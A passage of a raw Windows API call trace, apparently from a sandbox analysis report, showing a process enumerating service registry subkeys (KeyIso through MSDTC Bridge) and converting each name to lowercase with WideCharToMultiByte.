lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0223.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0223.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0223.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0223.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0223.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0223.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0223.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0223.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0223.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0223.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0223.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0223.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0223.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0223.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0223.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0223.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0223.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0223.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0223.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0223.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0223.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0223.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1850, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0223.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0223.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0223.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0223.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0223.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0223.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0223.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1a48, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0223.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0223.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0223.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0223.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0223.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0223.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0223.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0223.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0223.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0223.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0223.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0223.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0223.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0223.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0223.841] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0223.842] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0223.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 